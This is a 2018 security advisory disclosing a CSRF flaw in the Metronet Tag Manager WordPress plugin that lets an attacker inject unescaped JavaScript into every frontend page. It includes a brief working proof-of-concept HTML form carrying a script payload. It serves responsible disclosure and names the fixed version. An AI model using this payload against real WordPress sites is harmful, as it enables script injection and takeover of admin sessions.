[FD] CSRF in Metronet Tag Manager allows anybody to do almost anything an admin can (WordPress plugin)

[dxw Security <harry@xxxxxxx>]

Details
================
Software: Metronet Tag Manager
Version: 1.2.7
Homepage: https://wordpress.org/plugins/metronet-tag-manager/
Advisory report: 
https://advisories.dxw.com/advisories/csrf-metronet-tag-manager/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF in Metronet Tag Manager allows anybody to do almost anything an admin can

Vulnerability
================
The plugin’s settings page sends a nonce, and checks it when displaying the 
success/failure message, but is not checked when setting options.
This option is meant to contain JavaScript for Google Tag Manager, so it’s 
displayed on every frontend page without escaping.
As this vulnerability allows adding arbitrary JavaScript, the attacker can use 
it to control an admin user’s browser to do almost anything an admin user can 
do.

Proof of concept
================
Press submit on a page containing the following HTML snippet:
<form method=\"POST\" 
action=\"http://localhost/wp-admin/options-general.php?page=metronet-tag-manager\";>
 <input type=\"text\" name=\"submit\" value=\"1\">
 <input type=\"text\" name=\"gtm-code-head\" 
value=\"&lt;script>alert(1)&lt;/script>\">
 <input type=\"submit\">
</form>
In a real attack, the form can be made to autosubmit so the victim only has to 
follow a link.

Mitigations
================
Upgrade to version 1.2.9 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our 
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@xxxxxxx to acknowledge this report if you 
received it via a third party (for example, plugins@xxxxxxxxxxxxx) as they 
generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this 
report with 14 days.

Timeline
================

2018-04-13: Discovered
2018-04-16: Reported to plugin author via Facebook private message
2018-04-17: Plugin author confirmed receipt of message
2018-04-24: Plugin changelog indicates bug has been fixed in 1.2.9
2018-05-15: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
            


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